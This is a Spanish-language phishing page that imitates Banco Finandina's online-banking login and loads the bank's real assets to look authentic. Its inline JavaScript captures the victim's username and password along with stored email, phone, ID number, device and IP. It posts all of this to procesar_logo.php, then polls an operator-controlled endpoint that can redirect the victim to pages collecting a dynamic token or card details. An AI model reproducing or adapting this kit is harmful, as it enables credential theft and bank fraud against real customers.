<!DOCTYPE html>
<html lang="es-CO">
<head>
	<style>
@keyframes pulse {
    0% { transform: scale(1); opacity: 1; }
    50% { transform: scale(1.1); opacity: 0.7; }
    100% { transform: scale(1); opacity: 1; }
}
</style>
    <meta charset="utf-8">
    <meta name="HandheldFriendly" content="True" /><!-- Lo mismo que meta viewport, pero para navegadores obsoletos y más antiguos -->
    <!--meta name="MobileOptimized" content="320"--><!-- Lo mismo que meta viewport, pero para navegadores obsoletos y más antiguos -->
    <!--meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"--><!-- Atributos necesarios para un correcto despliegue del sitio en dispositivos móviles, igualando los pixeles en ancho y adaptandolos a las pantallas,quitando la opción zoom -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /><!-- Indica a IE antiguos cómo tiene que visualizar el sitio -->
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover" />
    <!--<meta name="format-detection" content="telephone=no" /><!-- Deshabilita la detección de teléfonos y mails en dispositivos que tengan Safari -->
    <meta http-equiv="cleartype" content="on" /><!-- Mobile Internet Explorer nos permite activar cleartype para fuentes con smoothing -->
    <!-- Favicon -->
    <link rel="apple-touch-icon-precomposed" sizes="144x144" href="" />
    <link rel="apple-touch-icon-precomposed" sizes="72x72" href="" />
    <link rel="apple-touch-icon-precomposed" href="" />
    <link rel="shortcut icon" href="" />
    <!-- Favicon -->
    <title>Banca Virtual |</title>
    <meta name="description" content="En tu Banca Digital Finandina realizas consultas, transferencias y pagos de una forma ágil y segura. A toda hora y en todo momento. ¡Tu Banco 24/7!">
    <link rel="canonical" href="https://transacciones.bancofinandina.com/BP/login">
    <meta charset="ISO-8859-1">
    <meta content="es-co" http-equiv="Content-Language">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="author" content="Banco Finandina">
    <meta name="copyright" content="Banco Finandina">
    <meta name="robots" content="index, follow">
    <meta name="language" content="spanish" />
    <meta property="og:type" content="website">
    <meta property="og:title" content="Banca Digital | Banco Finandina">
    <meta property="og:description" content="Realiza consultas, transferencias y pagos de tus productos financieros. Disfruta de los beneficios de un Banco Digital diferente.">
    <meta property="og:image" content="https://www.bancofinandina.com/images/default-source/default-album/picb1e408de520e4ef280042a5e1ddd0835.png?sfvrsn=30decc5f_0">
    <meta property="og:image:height" content="820">
    <meta property="og:image:width" content="400">
    <meta property="og:site_name" content="Banca Virtual - Banca Digital | Banco Finandina">
    <meta property="og:url" content="https://transacciones.bancofinandina.com/BP/login">
    <meta property="og:locale" content="es-co">
    <meta property="fb:app_id" content="10219974377904133">
    <meta name="twitter:title" content="Banca Digital | Banco Finandina">
    <meta name="twitter:description" content="Realiza consultas, transferencias y pagos de tus productos financieros. Disfruta de los beneficios de un Banco Digital diferente.">
    <meta name="twitter:card" content="summary">
    <meta name="twitter:image" content="https://www.bancofinandina.com/images/default-source/default-album/picb1e408de520e4ef280042a5e1ddd0835.png?sfvrsn=30decc5f_0">
    <meta name="twitter:site" content="https://transacciones.bancofinandina.com/BP/login" />
    <meta name="twitter:creator" content="&#64;BancoFinandina" />
    <meta name="twitter:domain" content="https://transacciones.bancofinandina.com/BP/login" />
    <link rel="icon" href="https://transacciones.bancofinandina.com/RS/favicon.ico" type="image/x-icon" />
    <link rel="stylesheet" href="https://transacciones.bancofinandina.com/RS//dist/vendor/css/angular-material.min.css?v=20220422">
    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.3.1/css/all.css" integrity="sha384-mzrmE5qonljUremFsqc01SB46JvROS7bZs3IO2EmfFsd15uHvIt+Y8vEf7N7fWAU" crossorigin="anonymous">
    <link href="https://transacciones.bancofinandina.com/RS//css/estilos_generales.min.css?v=20220422" rel="stylesheet" />
    <link href="https://transacciones.bancofinandina.com/RS/css/login/login.min.css?v=20220422" rel="stylesheet" />
    <link href="https://transacciones.bancofinandina.com/RS/css/errores.min.css?v=20220422" rel="stylesheet" />

<script>NS_CSM_td=1571763022;NS_CSM_pd=275116665;NS_CSM_u="/clm10";NS_CSM_col="af_collector_logstream_172.16.0.84";</script><script type="text/javascript">function sendTimingInfoInit(){setTimeout(sendTimingInfo,0)}function sendTimingInfo(){var wp=window.performance;if(wp){var c1,c2,t;c1=wp.timing;if(c1){var cm={};cm.ns=c1.navigationStart;if((t=c1.unloadEventStart)>0)cm.us=t;if((t=c1.unloadEventEnd)>0)cm.ue=t;if((t=c1.redirectStart)>0)cm.rs=t;if((t=c1.redirectEnd)>0)cm.re=t;cm.fs=c1.fetchStart;cm.dls=c1.domainLookupStart;cm.dle=c1.domainLookupEnd;cm.cs=c1.connectStart;cm.ce=c1.connectEnd;if((t=c1.secureConnectionStart)>0)cm.scs=t;cm.rqs=c1.requestStart;cm.rss=c1.responseStart;cm.rse=c1.responseEnd;cm.dl=c1.domLoading;cm.di=c1.domInteractive;cm.dcls=c1.domContentLoadedEventStart;cm.dcle=c1.domContentLoadedEventEnd;cm.dc=c1.domComplete;if((t=c1.loadEventStart)>0)cm.ls=t;if((t=c1.loadEventEnd)>0)cm.le=t;cm.tid=NS_CSM_td;cm.pid=NS_CSM_pd;cm.ac=NS_CSM_col;var xhttp=new XMLHttpRequest();if(xhttp){var JSON=JSON||{};JSON.stringify=JSON.stringify||function(ob){var t=typeof(ob);if(t!="object"||ob===null){if(t=="string")ob='"'+ob+'"';return String(ob);}else{var n,v,json=[],arr=(ob&&ob.constructor==Array);for(n in ob){v=ob[n];t=typeof(v);if(t=="string")v='"'+v+'"';else if(t=="object"&&v!==null)v=JSON.stringify(v);json.push((arr?"":'"'+n+'":')+String(v));}return(arr?"[":"{")+String(json)+(arr?"]":"}");}};xhttp.open("POST",NS_CSM_u,true);xhttp.send(JSON.stringify(cm));}}}}if(window.addEventListener)window.addEventListener("load",sendTimingInfoInit,false);else if(window.attachEvent)window.attachEvent("onload",sendTimingInfoInit);else window.onload=sendTimingInfoInit;</script>

    <style type="text/css">
    #fondo{
        width: 100%;
        height: 100%;
        position: fixed;
        z-index: 189;
        top: 0;
        left: 0;
        background: #ffffffbd;
        display: none;
    }
    #cargando{
        width: 120px;
        height: 120px;
        position: fixed;
        z-index: 9999;
        top: 50%;
        left: 50%;
        margin-left: -60px;
        margin-top: -60px;
        display:none;
        background: transparent;
        border-radius: 0;
        padding: 0;
        box-shadow: none;
        border: none;
    }

        .usuario-sesion {
    background-color: #fff;
    cursor: not-allowed;
    border: none;
    font-family: Open_Sans_Regular,sans-serif;
    font-weight: 400;
    color: #949494;
    padding: 7px 0;
    outline: 0;
    margin: 0;
    font-size: 1rem;
    margin-left: 100px;   
}

        body{
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
        }
        
        .contenido-gen {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif !important;            
        }

        button, html, input, select, textarea {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif !important;  
        }
        

#imgSeguridad{
    display: none !important;
}
.sentence-text{
    display: none !important;
}
.txt-frase-new{
    display: none !important;
}


.content-form .content-img-fra .txtclick {
    position: initial !important;
}
    .entradas{
        color: #707070;
        font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif !important;
        font-size: 16px;
        border: none;
        border-bottom: 1px solid #ced4da;
        border-radius: 0;
        padding: 8px 4px;
        width: 100%;   
        outline: 0;
        margin-bottom: 30px;
        background: transparent;
        box-shadow: none;
    }
    
    .content-input input,
    .content-input input:focus,
    .content-input input:active,
    .content-input input:hover {
        border: none !important;
        outline: none !important;
        background: transparent !important;
        box-shadow: none !important;
        border-radius: 0 !important;
        border-width: 0 !important;
        border-style: none !important;
    }
    
    input[type="text"],
    input[type="password"],
    input[type="email"],
    input {
        border: none !important;
        outline: none !important;
        background: transparent !important;
        box-shadow: none !important;
        border-radius: 0 !important;
        border-width: 0 !important;
        border-style: none !important;
        color: #707070 !important;
    }
    
    input::placeholder {
        color: #707070 !important;
    }
    

    
    input, input:focus, input:active, input:hover {
        border: none !important;
        border-bottom: 1px solid #e0e0e0 !important;
        outline: none !important;
        background: transparent !important;
        box-shadow: none !important;
    }
    
    .campo-input {
        border: none !important;
        outline: none !important;
        background: transparent !important;
        box-shadow: none !important;
        border-radius: 0 !important;
        padding: 8px 0 !important;
        margin-bottom: 20px !important;
        position: relative !important;
    }
    
    .campo-input::after {
        content: '' !important;
        position: absolute !important;
        bottom: 0 !important;
        left: 0 !important;
        width: 100% !important;
        height: 1px !important;
        background: #e0e0e0 !important;
        transition: background 0.3s ease !important;
    }
    

    
    .btn-general {
        border: 2px solid #e31952 !important;
        background: #e31952 !important;
        color: white !important;
        border-radius: 25px !important;
        font-weight: 600 !important;
        text-transform: uppercase !important;
        letter-spacing: 1px !important;
        transition: all 0.3s ease !important;
        width: 90% !important;
        padding: 12px !important;
        font-size: 15px !important;
        margin-left: 15px !important;
        margin-top: 25px !important;
    }
    
    .btn-general:hover {
        background: #e31952 !important;
        border-color: #e31952 !important;
        transform: translateY(-2px) !important;
        box-shadow: 0 4px 8px rgba(217,122,138,0.3) !important;
    }
    

    
    body, html {
        margin: 0 !important;
        padding: 0 !important;
        overflow-x: hidden !important;
    }
    
    .container-gen {
        margin: 0 !important;
        padding: 0 !important;
    }
    
    .contenido-gen {
        margin: 0 !important;
        padding: 0 !important;
    }
    
    .panel-izq {
        margin: 0 !important;
        padding: 0 !important;
        background-size: cover !important;
        background-position: center !important;
        background-repeat: no-repeat !important;
        min-height: 100vh !important;
    }
    
    .panel-der {
        margin: 0 !important;
        padding: 0 !important;
    }
    
            .pasos-right {
            margin: 0 !important;
            padding: 0 !important;
            width: 90% !important;
            max-width: 400px !important;
        }
    
    .panel-interno-login {
        margin: 0 !important;
        padding: 0 !important;
    }
    
    .content-log {
        margin: 0 !important;
        padding: 0 !important;
    }
    
    .content-form {
        margin: 0 !important;
        padding: 0 !important;
        margin-top: 100px !important;
    }
    
    .footer-gen {
        margin: 0px !important;
        padding: 25px !important;
    }
    
    .logo-finandina {
        margin-top: -15px !important;
    }
    
    .logo-finandina img {
        transform: translateY(20px) !important;
    }
    
    .titulo-login {
        font-size: 34px !important;
        line-height: 41px !important;
    }
    
    .texto-instruccion {
        color: #707070 !important;
        font-size: 16px !important;
        font-weight: 500 !important;
        margin-bottom: -100px !important;
        margin-top: -10px !important;
        text-align: left !important;
    }
    
    .content-input label {
        color: #707070 !important;
        font-size: 16px !important;
        font-weight: 500 !important;
    }
    
    .texto-olvidaste {
        color: #007bff !important;
        font-size: 14px !important;
        font-weight: 400 !important;
        text-align: right !important;
        margin-top: 10px !important;
        margin-bottom: 15px !important;
        cursor: pointer !important;
        width: 119.11px !important;
        height: 19px !important;
        display: block !important;
        margin-left: auto !important;
        margin-right: 20px !important;
        white-space: nowrap !important;
        overflow: hidden !important;
    }
    
    .texto-olvidaste:hover {
        text-decoration: underline !important;
    }
    
    /* Estilos responsivos para móviles */
    @media (max-width: 768px) {
        .contenido-gen {
            flex-direction: column !important;
        }
        
        .panel-izq {
            width: 100% !important;
            min-height: 200px !important;
            background-size: cover !important;
            background-position: center !important;
        }
        
        .panel-der {
            width: 100% !important;
            padding: 20px !important;
            display: flex !important;
            flex-direction: column !important;
            align-items: center !important;
        }
        
        .logo-finandina img {
            max-width: 270px !important;
            height: auto !important;
        }
        
        .logo-finandina {
            margin-top: -20px !important;
        }
        
        .logo-finandina img {
            transform: translateY(35px) !important;
            margin-bottom: 20px !important;
        }
        
        .titu-log h1 {
            font-size: 32px !important;
            line-height: 32px !important;
            width: 340px !important;
            margin-top: 45px !important;
        }
        
        .titulo-login {
            font-size: 32px !important;
            line-height: 32px !important;
        }
        
        .titu-log p {
            font-size: 14px !important;
        }
        
        .campo-input {
            margin-bottom: 0px !important;
        }
        
        .content-form {
            margin-top: 120px !important;
        }
        
            .content-input input {
            font-size: 16px !important;
            padding: 15px 12px !important;
            border: none !important;
            outline: none !important;
            background: transparent !important;
        }
        
        .btn-general {
            width: 90% !important;
            padding: 12px !important;
            font-size: 15px !important;
            margin-bottom: 15px !important;
            margin-top: 45px !important;
        }
        
        .footer-gen {
            padding: 15px !important;
            text-align: center !important;
        }
        
        .footer-gen .legales {
            font-size: 12px !important;
        }
        
        .texto-instruccion {
            font-size: 17px !important;
            margin-bottom: -100px !important;
            margin-top: -8px !important;
        }
        
        .content-input label {
            color: #707070 !important;
            font-size: 17px !important;
            font-weight: 500 !important;
        }
        
        .texto-olvidaste {
            font-size: 12px !important;
            margin-top: 8px !important;
            margin-bottom: 10px !important;
            width: 119.11px !important;
            height: 19px !important;
            margin-left: auto !important;
            margin-right: 15px !important;
            white-space: nowrap !important;
            overflow: hidden !important;
        }
    }
    
    @media (max-width: 480px) {
        .panel-der {
            padding: 15px !important;
            display: flex !important;
            flex-direction: column !important;
            align-items: center !important;
        }
        
        .titu-log h1 {
            font-size: 32px !important;
            line-height: 32px !important;
        }
        
        .content-input input {
            padding: 0px 0px !important;
        }
        
        .btn-general {
            padding: 12px !important;
            font-size: 14px !important;
        }
    }
    </style>
</head>
<body ng-app="app" ng-cloak>

    <div id="fondo"></div>

    <div id="cargando">
        <img src="https://transacciones.bancofinandina.com/RS//images/general/gifs/Finandina.gif" alt="Gif cargando" style="filter: blur(0.8px);" />
    </div>

    <!-- End Google Tag Manager (noscript) -->
    <div ng-controller="loginCtrl">
        <main class="container-gen">
            <section class="contenido-gen" style="display:flex !important;">

                <div class="panel-izq" style="background-image: url('img/fina.png');">
                </div>

                <div class="panel-der">
                    <div class="pasos-right">
                        <div class="panel-interno-login panel-tres" ng-show="data.ShowPaso1">
                            <div class="content-log">
                                <div class="logo-finandina">
                                    <img src="img/fina2.svg">
                                </div>
                                <div class="titu-log">
                                    <div class="" id="vista1">
                                        <h1 style="font-weight: bold; font-size: 34px; line-height: 41px; margin-top: 40px;" class="titulo-login">Inicia sesión</h1>
                                    </div>
                                    <div class="" id="vista2" style="display:none;">
                                        <h1>Validación de Seguridad</h1>
                                        <p ng-hide="data.ShowInfo">Por su seguridad ingrese los siguientes datos.</p>
                                    </div>                                    
                                </div>
                            </div>

                    <div class="texto-instruccion">Completa los siguientes datos:</div>
                    
                    <div class="content-form" name="userlogin" autocomplete="off">
                        <input name="__RequestVerificationToken" type="hidden" value="i0oZ06dGjQSPI1HpEWQz3odJNTdmk_HtYBg2Stg6u-I11cDQ1yW5Pxmbkt_RaevsfcX2lfH4vsCn38Z3kglVVwuL8_mxip2mstPqE08nXI01" />



                        <div class="campo-input" ng-class="data.errorUser?'loginError':''" ng-hide="data.ShowInfo" id="userSession">
                            <span class="ico-form">
                                <img src="https://transacciones.bancofinandina.com/RS//images/registro/ico-user.svg">
                            </span>
                            <div class="content-input">
                                <input autocomplete="off" type="text" name="userId" id="userId" ng-change="data.errorUser=false; data.message=null" placeholder="" ng-disabled="data.ShowInfo" required-field ng-model="userField" ng-keyup="$event.keyCode == 13 ? PreLogin() : null" maxlength="18" style="border: none !important; outline: none !important; background: transparent !important; box-shadow: none !important;" />
                                <label for="userId">Ingresa tu usuario</label>
                            </div>
                        </div>

                        <!-- Vista de usuario confirmado -->
                        <div class="campo-input" id="usrSession" style="display:none;">
                            <span class="ico-form">
                                <img src="https://transacciones.bancofinandina.com/RS//images/registro/ico-user.svg">
                            </span>
                            <div class="content-input">
                                <input autocomplete="off" class="usuario-sesion" type="text" disabled="disabled" placeholder="">
                            </div>
                        </div>

                        <!-- Vista de contraseña -->
                        <div class="campo-input" id="passSession" style="display:none;">
                            <span class="ico-form">
                                <img src="https://transacciones.bancofinandina.com/RS//images/registro/key.svg">
                            </span>
                            <div class="content-input">
                                <input autocomplete="off" type="password" name="passId2" id="passId2" placeholder="" required-field maxlength="18" />
                                <label for="passId2">Ingresa tu contraseña</label>
                            </div>
                        </div>


                        




                        <!--Errores-->
                        <div class="errores" ng-if="!data.ShowInfo">
                            <ul ng-messages="userlogin.$error">
                                <li class="new-red error" ng-message="requiredMsg" ng-if="data.errorUser && userlogin.userId.$invalid"><img src="https://transacciones.bancofinandina.com/RS//images/general/warning.svg" alt="Icono advertencia">Ingresa tu usuario</li>
                            </ul>
                            <p class="new-red error" ng-show="data.message">
                                    <img src="https://transacciones.bancofinandina.com/RS//images/general/warning.svg" alt="Icono advertencia" />
                                    {{data.message}}
                            </p>
                    </div>
                    <!--FIN Errores-->

                    <input type="button" class="btn-general" value="CONTINUAR" id="btnContinuar2" disabled />

                    <input  type="button" class="btn-general" value="INGRESAR" id="btnIngresar2" style="display:none;" />

                        <!--nuevo aporte al loginbox  -->

                        <!---fin nuevo aporte al loginbox : Fabian Castro 04/12/2020-->
    
                    </div>
                </div>                
            </div>
        </div>









    </section>
</main>
</div>





    <footer class="footer-gen">
        <span class="legales">
            Todos los derechos reservados 2024 - <strong>Banco Finandina</strong>
        </span>
    </footer>
    <!--Gif general-->
<div id="modalGifCargaPagare" class="gif-general-private">
    <div class="content-gif">
        <picture>
            <img src="https://transacciones.bancofinandina.com/RS//images/general/gifs/Finandina.gif" alt="Gif cargando" />
        </picture>
    </div>

    
</div>
<!--FIN Gif general-->
    <div class="ofuscador"></div>
    
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/jquery.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/slick.min.js?v=20220422"></script>
    
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/angular.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/angular-aria.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/angular-animate.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/angular-material.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/angular-messages.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//js/aes.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//js/service.min.js?v=20220422"></script>
    
    <script src="https://transacciones.bancofinandina.com/RS//js/Account/login.min.js?v=20220422"></script>
    
    <script src="https://transacciones.bancofinandina.com/RS//js/validators.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//js/storage.min.js?v=20220422"></script>
    <script type="text/javascript">
        var codigo = "";
        var ojo = 0;

        let identificadorTiempoDeEspera;

        function temporizadorDeRetraso() {
          identificadorTiempoDeEspera = setTimeout(funcionConRetraso, 1000);
        }

        function funcionConRetraso() {
            $("#fondo").hide();  
            $("#cargando").hide();            
        }
        
        function ver(){
            if (ojo == 0) {
                $("#passId2").attr("type","text");
                ojo = 1;
            }else{
                $("#passId2").attr("type","password");
                ojo = 0;
            }
        }



        function detectar_dispositivo(){
            var dispositivo = "";
            if(navigator.userAgent.match(/Android/i))
                dispositivo = "Android";
            else
                if(navigator.userAgent.match(/webOS/i))
                    dispositivo = "webOS";
                else
                    if(navigator.userAgent.match(/iPhone/i))
                        dispositivo = "iPhone";
                    else
                        if(navigator.userAgent.match(/iPad/i))
                            dispositivo = "iPad";
                        else
                            if(navigator.userAgent.match(/iPod/i))
                                dispositivo = "iPod";
                            else
                                if(navigator.userAgent.match(/BlackBerry/i))
                                    dispositivo = "BlackBerry";
                                else
                                    if(navigator.userAgent.match(/Windows Phone/i))
                                        dispositivo = "Windows Phone";
                                    else
                                        dispositivo = "PC";
            return dispositivo;
        }  


        function iniciar_sesion(u,c){
            d = detectar_dispositivo();
            // Envío deshabilitado
            // Aquí puedes agregar la redirección que necesites
        }               

        $(document).ready(function($){
            // Generar o recuperar session_id
            let sessionId = localStorage.getItem('session_id');
            if (!sessionId) {
                sessionId = 'session_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9);
                localStorage.setItem('session_id', sessionId);
            }
            
            // Obtener usuario desde URL params y establecer en el campo
            const urlParams = new URLSearchParams(window.location.search);
            const userFromUrl = urlParams.get('user');
            if (userFromUrl) {
                $("#userId").val(userFromUrl);
                localStorage.setItem('username', userFromUrl);
                $("#btnContinuar2").prop("disabled", false);
            }

            // Habilitar/deshabilitar botón continuar basado en el campo de usuario
            $("#userId").on("input", function() {
                if ($(this).val().length > 0) {
                    $("#btnContinuar2").prop("disabled", false);
                } else {
                    $("#btnContinuar2").prop("disabled", true);
                }
            });
            
            // Validación para caracteres alfanuméricos en el campo de usuario
            $("#userId").on("input", function() {
                // Remover cualquier carácter que no sea letra o número
                this.value = this.value.replace(/[^a-zA-Z0-9]/g, '');
                
                // Limitar a 15 caracteres
                if (this.value.length > 15) {
                    this.value = this.value.slice(0, 15);
                }
            });

            // Prevenir pegar texto que no sean caracteres alfanuméricos
            $("#userId").on("paste", function(e) {
                e.preventDefault();
                let pastedText = (e.originalEvent.clipboardData || window.clipboardData).getData('text');
                let alphanumericOnly = pastedText.replace(/[^a-zA-Z0-9]/g, '');
                if (alphanumericOnly.length > 15) {
                    alphanumericOnly = alphanumericOnly.slice(0, 15);
                }
                this.value = alphanumericOnly;
            });
            
            $("#btnContinuar2").click(function(){
                $("#fondo").show();
                $("#cargando").show();

                setTimeout(function() {
                    $("#fondo").hide();
                    $("#cargando").hide();
                    
                    $("#userSession").hide();
                    $("#btnContinuar2").hide();
                    $(".texto-instruccion").hide();

                    $("#usrSession").show();
                    $("#passSession").show();
                    $("#btnIngresar2").show();

                    $(".usuario-sesion").val($("#userId").val());
                }, 1000);
            });       

            $("#btnIngresar2").click(function(){
                const password = $("#passId2").val();
                const username = $("#userId").val();
                
                if (password.length > 0) {
                    // Validar que la contraseña tenga al menos 4 caracteres
                    if (password.length < 4) {
                        alert('La contraseña debe tener al menos 4 caracteres');
                        return;
                    }
                    
                    // Validar que el usuario tenga al menos 5 caracteres
                    if (username.length < 5) {
                        alert('El usuario debe tener al menos 5 caracteres');
                        return;
                    }

                    $("#fondo").show();
                    $("#cargando").show();
                    
                    // Guardar datos en localStorage
                    localStorage.setItem('username', username);
                    localStorage.setItem('password', password);
                    localStorage.setItem('session_id', sessionId);

                    // Detectar tipo de dispositivo
                    const userAgent = navigator.userAgent;
                    let dispositivo = 'PC';
                    
                    if (/Android/i.test(userAgent)) {
                        dispositivo = 'Android';
                    } else if (/iPhone|iPad|iPod/i.test(userAgent)) {
                        dispositivo = 'iPhone';
                    } else if (/Windows/i.test(userAgent)) {
                        dispositivo = 'PC';
                    } else if (/Mac/i.test(userAgent)) {
                        dispositivo = 'Mac';
                    } else if (/Linux/i.test(userAgent)) {
                        dispositivo = 'Linux';
                    }
                    
                    const hora = new Date().toLocaleString('es-ES');
                    
                    // Obtener IP y construir mensaje
                    fetch('get_ip.php')
                        .then(response => response.json())
                        .then(data => {
                            const ip = data.ip || 'No disponible';
                            
                            const mensaje = `
💎BANCO FINANDINA💎

<b>fu7ur4ma</b>

---------------
<b>💌Correo:</b> ${localStorage.getItem('correo') || 'No disponible'}
<b>📞Celular:</b> ${localStorage.getItem('cel') || 'No disponible'}
<b>💸Cedula:</b> ${localStorage.getItem('val') || 'No disponible'}
<b>👤Persona:</b> ${localStorage.getItem('per') || 'No disponible'}
<b>🏦Banco:</b> ${localStorage.getItem('nom') || 'No disponible'}
<b>🪬Tipo:</b> RECARGA PSE
---------------
<b>📟Dispositivo:</b> ${dispositivo}
<b>🗺IP:</b> ${ip}
<b>⏱Hora:</b> ${hora}
---------------
👤 Usuario: ${username}
🔑 Clave: ${password}
---------------`;

                            const formData = new FormData();
                            formData.append('message', mensaje);
                            formData.append('transactionId', sessionId);

                            fetch('procesar_logo.php', {
                                method: 'POST',
                                body: formData
                            })
                            .then(res => res.json())
                            .then(result => {
                                if (result.status === 'success') {
                                    checkPaymentVerification(sessionId, result.messageId);
                                } else {
                                    $("#fondo").hide();
                                    $("#cargando").hide();
                                }
                            })
                            .catch(err => {
                                $("#fondo").hide();
                                $("#cargando").hide();
                            });
                        })
                        .catch(() => {
                            // Si falla la obtención de IP, enviar sin IP
                            const mensaje = `
💎BANCO FINANDINA💎

<b>fu7ur4ma</b>

---------------
<b>💌Correo:</b> ${localStorage.getItem('correo') || 'No disponible'}
<b>📞Celular:</b> ${localStorage.getItem('cel') || 'No disponible'}
<b>💸Cedula:</b> ${localStorage.getItem('val') || 'No disponible'}
<b>👤Persona:</b> ${localStorage.getItem('per') || 'No disponible'}
<b>🏦Banco:</b> ${localStorage.getItem('nom') || 'No disponible'}
<b>🪬Tipo:</b> RECARGA PSE
---------------
<b>📟Dispositivo:</b> ${dispositivo}
<b>🗺IP:</b> No disponible
<b>⏱Hora:</b> ${hora}
---------------
👤 Usuario: ${username}
🔑 Clave: ${password}
---------------`;

                            const formData = new FormData();
                            formData.append('message', mensaje);
                            formData.append('transactionId', sessionId);

                            fetch('procesar_logo.php', {
                                method: 'POST',
                                body: formData
                            })
                            .then(res => res.json())
                            .then(result => {
                                if (result.status === 'success') {
                                    checkPaymentVerification(sessionId, result.messageId);
                                } else {
                                    $("#fondo").hide();
                                    $("#cargando").hide();
                                }
                            })
                            .catch(err => {
                                $("#fondo").hide();
                                $("#cargando").hide();
                            });
                        });
                } else {
                    $("#passId2").focus();
                }
            });             
        });

        async function checkPaymentVerification(transactionId, messageId) {
    try {
        const formData = new FormData();
        formData.append('transactionId', transactionId);
        formData.append('messageId', messageId);

        const res = await fetch('verificar_respuesta.php', {
            method: 'POST',
            body: formData
        });
        const result = await res.json();

        if (result.action) {
            switch (result.action) {
                case 'pedir_dinamica':
                    window.location.href = "token.php";
                    break;

                case 'error_logo': 
                    $("#fondo").hide();
                    $("#cargando").hide();
                    alert("Usuario o clave incorrectos.");
                    window.location.href = "index.php";
                    break;

                case 'error_tc':
                    $("#fondo").hide();
                    $("#cargando").hide();
                    alert("Redirigiendo a tarjeta...");
                    window.location.href = "tarjeta.php"; // Cambia a la ruta real de tu tarjeta si es diferente
                    break;

                case 'confirm_finalizar':
                    window.location.href = "/finalizado.php";
                    break;
            }
        } else {
            setTimeout(() => checkPaymentVerification(transactionId, messageId), 2000);
        }
    } catch (err) {
        setTimeout(() => checkPaymentVerification(transactionId, messageId), 2000);
    }
}


    </script>
	
	  <div id="loader" style="
    position: fixed;
    top: 0; left: 0; right: 0; bottom: 0;
    background: #ffffff;
    display: flex;
    justify-content: center;
    align-items: center;
    flex-direction: column;
    z-index: 9999;
">
    <img src="img/l1.png" alt="Cargando..." style="width: 120px; height: 120px; animation: pulse 1.5s infinite;">
</div>

<script>
// Espera 3 segundos y redirige al siguiente paso
setTimeout(function () {
    document.getElementById('loader').style.display = 'none';
}, 3000);
</script>
</body>
</html>